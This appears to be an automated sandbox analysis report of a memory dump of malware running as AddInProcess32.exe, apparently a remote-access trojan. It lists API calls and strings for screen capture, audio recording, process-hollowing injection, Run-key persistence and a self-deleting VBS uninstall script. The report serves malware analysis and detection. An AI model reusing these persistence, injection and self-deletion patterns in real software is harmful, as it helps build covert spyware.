Instruction ID: eee285bae3a3c664d400e4c5f5e220380537cd22e0998a3ce94cd1697e41dfe3
Opcode Fuzzy Hash: bbc8ffc4057debe9872561f5e92b4f6919ce40f9ddced797a216f9a420f6d04b
Instruction Fuzzy Hash: 16112A32000B11EFC7305F64DE85957BBE9FF08715314892EE29696921CB76FCA0CB58

Function 00452313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

Part of subcall function 00448215: _free.LIBCMT ref: 00448274
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58

Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698

Function 0041B60D Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 3d7d98170efc6b6b629f93dc404fb63378f1138ab074e43b779f7395dc78dc1a
Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
Opcode Fuzzy Hash: 3d7d98170efc6b6b629f93dc404fb63378f1138ab074e43b779f7395dc78dc1a
Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8

Function 00448404 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00445888: EnterCriticalSection.KERNEL32(?,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897

EnumSystemLocalesW.KERNEL32(004483BE,00000001,0046EAD0,0000000C), ref: 0044843C

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09

Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

EnumSystemLocalesW.KERNEL32(00451EA7,00000001,?,?,?,00452712,lJD,?,?,?,?,?,00444A6C,?,?,?), ref: 00451F87

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754

Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.1.0 Pro), ref: 0040F8E5

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 60ac6b383c0d02c34bbf412ad9b051435ec7f82dc161eda072fb95a07eb92a85
Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
Opcode Fuzzy Hash: 60ac6b383c0d02c34bbf412ad9b051435ec7f82dc161eda072fb95a07eb92a85
Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1

Function 00418E76 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
CreateCompatibleDC.GDI32(00000000), ref: 00418E9D

Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355

CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
DeleteDC.GDI32(00000000), ref: 00418F2A
DeleteDC.GDI32(00000000), ref: 00418F2D
DeleteObject.GDI32(00000000), ref: 00418F30
SelectObject.GDI32(00000000,00000000), ref: 00418F51
DeleteDC.GDI32(00000000), ref: 00418F62
DeleteDC.GDI32(00000000), ref: 00418F65
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
GetIconInfo.USER32 ref: 00418FBD
DeleteObject.GDI32(?), ref: 00418FEC
DeleteObject.GDI32(?), ref: 00418FF9
DrawIcon.USER32(00000000,?,?,?), ref: 00419006
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
DeleteDC.GDI32(?), ref: 0041917C
DeleteDC.GDI32(00000000), ref: 0041917F
DeleteObject.GDI32(00000000), ref: 00419182
GlobalFree.KERNEL32(?), ref: 0041918D
DeleteObject.GDI32(00000000), ref: 00419241
GlobalFree.KERNEL32(?), ref: 00419248
DeleteDC.GDI32(?), ref: 00419258
DeleteDC.GDI32(00000000), ref: 00419263

Strings

DISPLAY, xrefs: 00418E89

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
String ID: DISPLAY
API String ID: 479521175-865373369
Opcode ID: eeea48b2f12328c67a7764adb0283258d44bef4919e0b7e4c041a6272c1fd371
Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
Opcode Fuzzy Hash: eeea48b2f12328c67a7764adb0283258d44bef4919e0b7e4c041a6272c1fd371
Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A

Function 004180EF Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
GetProcAddress.KERNEL32(00000000), ref: 00418139
GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
GetProcAddress.KERNEL32(00000000), ref: 0041814D
GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
GetProcAddress.KERNEL32(00000000), ref: 00418161
GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
GetProcAddress.KERNEL32(00000000), ref: 00418175
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
GetThreadContext.KERNEL32(?,00000000), ref: 00418245
ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
TerminateProcess.KERNEL32(?,00000000), ref: 00418301
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
SetThreadContext.KERNEL32(?,00000000), ref: 00418428
ResumeThread.KERNEL32(?), ref: 00418435
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
GetCurrentProcess.KERNEL32(?), ref: 00418457
TerminateProcess.KERNEL32(?,00000000), ref: 00418472
GetLastError.KERNEL32 ref: 0041847A

Strings

ZwUnmapViewOfSection, xrefs: 0041814F
ntdll, xrefs: 00418121, 00418140, 00418154, 00418168
ZwCreateSection, xrefs: 0041811C
ZwMapViewOfSection, xrefs: 0041813B
ZwClose, xrefs: 00418163

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
API String ID: 4188446516-3035715614
Opcode ID: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
Opcode Fuzzy Hash: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A

Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873

GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579

Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5

Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430

ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
ExitProcess.KERNEL32 ref: 0040D7D0

Strings

""", 0, xrefs: 0040D6E7
0qF, xrefs: 0040D737, 0040D778, 0040D661, 0040D68E
fso.DeleteFile(Wscript.ScriptFullName), xrefs: 0040D773
fso.DeleteFolder ", xrefs: 0040D6AB
exepath, xrefs: 0040D4F7
dMG, xrefs: 0040D45B
open, xrefs: 0040D7BE
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 0040D701
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040D471
"), xrefs: 0040D5D5
\update.vbs, xrefs: 0040D57B
while fso.FileExists(", xrefs: 0040D5EC
On Error Resume Next, xrefs: 0040D5B9
fso.DeleteFile ", xrefs: 0040D63A
8SG, xrefs: 0040D4CF
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0040D4C2
Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 0040D5AA
Temp, xrefs: 0040D580
wend, xrefs: 0040D689
0qF, xrefs: 0040D78C, 0040D797

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
API String ID: 1861856835-332907002
Opcode ID: 4ed5f5d5e7ff342ec2a336c57b1c01b382e2bcaa191396cb8c86ed758bd95090
Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
Opcode Fuzzy Hash: 4ed5f5d5e7ff342ec2a336c57b1c01b382e2bcaa191396cb8c86ed758bd95090
Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E

Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873

GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7

Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5

Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F

ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
ExitProcess.KERNEL32 ref: 0040D419

Strings

fso.DeleteFile(Wscript.ScriptFullName), xrefs: 0040D3C1
fso.DeleteFolder ", xrefs: 0040D38A
exepath, xrefs: 0040D181
dMG, xrefs: 0040D0D1
hpF, xrefs: 0040D38F
open, xrefs: 0040D40C
.vbs, xrefs: 0040D201
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040D0E7
"), xrefs: 0040D2B1
pth_unenc, xrefs: 0040D09C
while fso.FileExists(", xrefs: 0040D2C8
8SG, xrefs: 0040D15E
On Error Resume Next, xrefs: 0040D294
fso.DeleteFile ", xrefs: 0040D315
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0040D138
Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 0040D285
Temp, xrefs: 0040D246
wend, xrefs: 0040D364

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
API String ID: 3797177996-2557013105
Opcode ID: d286f588f5818cca07a6e4c27455efb45431ebdc6a01d8eb82299511fc22b521
Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
Opcode Fuzzy Hash: d286f588f5818cca07a6e4c27455efb45431ebdc6a01d8eb82299511fc22b521
Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E

Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
ExitProcess.KERNEL32(00000000), ref: 004124A0
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
CloseHandle.KERNEL32(00000000), ref: 0041253B
GetCurrentProcessId.KERNEL32 ref: 00412541
PathFileExistsW.SHLWAPI(?), ref: 00412572
GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
lstrcatW.KERNEL32 ref: 00412601

Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430

ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
Sleep.KERNEL32(000001F4), ref: 00412682
OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
CloseHandle.KERNEL32(00000000), ref: 004126A9
GetCurrentProcessId.KERNEL32 ref: 004126AF

Strings

exepath, xrefs: 004124CC
WDH, xrefs: 00412548, 004126B6
open, xrefs: 0041263B
8SG, xrefs: 004124A6
temp_, xrefs: 004125E3
.exe, xrefs: 004125F5

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
String ID: .exe$8SG$WDH$exepath$open$temp_
API String ID: 2649220323-436679193
Opcode ID: 68a6d1683c491aa5f69a5158323edd29138381c8b32ecc661663b13424b24b94
Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
Opcode Fuzzy Hash: 68a6d1683c491aa5f69a5158323edd29138381c8b32ecc661663b13424b24b94
Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D

Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
PathFileExistsW.SHLWAPI(00000000), ref: 0041B18E
mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
SetEvent.KERNEL32 ref: 0041B219
WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
CloseHandle.KERNEL32 ref: 0041B23A
mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266

Strings

stopped, xrefs: 0041B202
alias audio, xrefs: 0041B0B8
" type , xrefs: 0041B0D5
pause audio, xrefs: 0041B1CA
open ", xrefs: 0041B0D0
stop audio, xrefs: 0041B257
resume audio, xrefs: 0041B1E2
status audio mode, xrefs: 0041B1F7
close audio, xrefs: 0041B261
play audio, xrefs: 0041B14B
NG, xrefs: 0041B109, 0041B08B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
API String ID: 738084811-2094122233
Opcode ID: a32571104eb0df3ab7bb69bc80b77b3340521799c31937e3b9a7319bb649b0aa
Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
Opcode Fuzzy Hash: a32571104eb0df3ab7bb69bc80b77b3340521799c31937e3b9a7319bb649b0aa
Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E

Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7

Strings

fmt , xrefs: 00401B2D
data, xrefs: 00401BB1
WAVE, xrefs: 00401B1D
RIFF, xrefs: 00401AFD

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$Write$Create
String ID: RIFF$WAVE$data$fmt
API String ID: 1602526932-4212202414
Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3

Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000001,0040764D,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
GetProcAddress.KERNEL32(00000000), ref: 0040728D
GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
GetProcAddress.KERNEL32(00000000), ref: 004072A5
GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
GetProcAddress.KERNEL32(00000000), ref: 004072B9
GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
GetProcAddress.KERNEL32(00000000), ref: 004072CD
GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
GetProcAddress.KERNEL32(00000000), ref: 004072E1
GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
GetProcAddress.KERNEL32(00000000), ref: 004072F5

Strings

RtlReleasePebLock, xrefs: 004072D8
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 00407271
RtlInitUnicodeString, xrefs: 0040727E
RtlAcquirePebLock, xrefs: 004072C4
ntdll.dll, xrefs: 00407278, 00407283, 004072A1, 004072B5, 004072C9, 004072DD, 004072F1
NtAllocateVirtualMemory, xrefs: 0040729C
LdrEnumerateLoadedModules, xrefs: 004072EC
NtFreeVirtualMemory, xrefs: 004072B0

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
API String ID: 1646373207-4283035339
Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
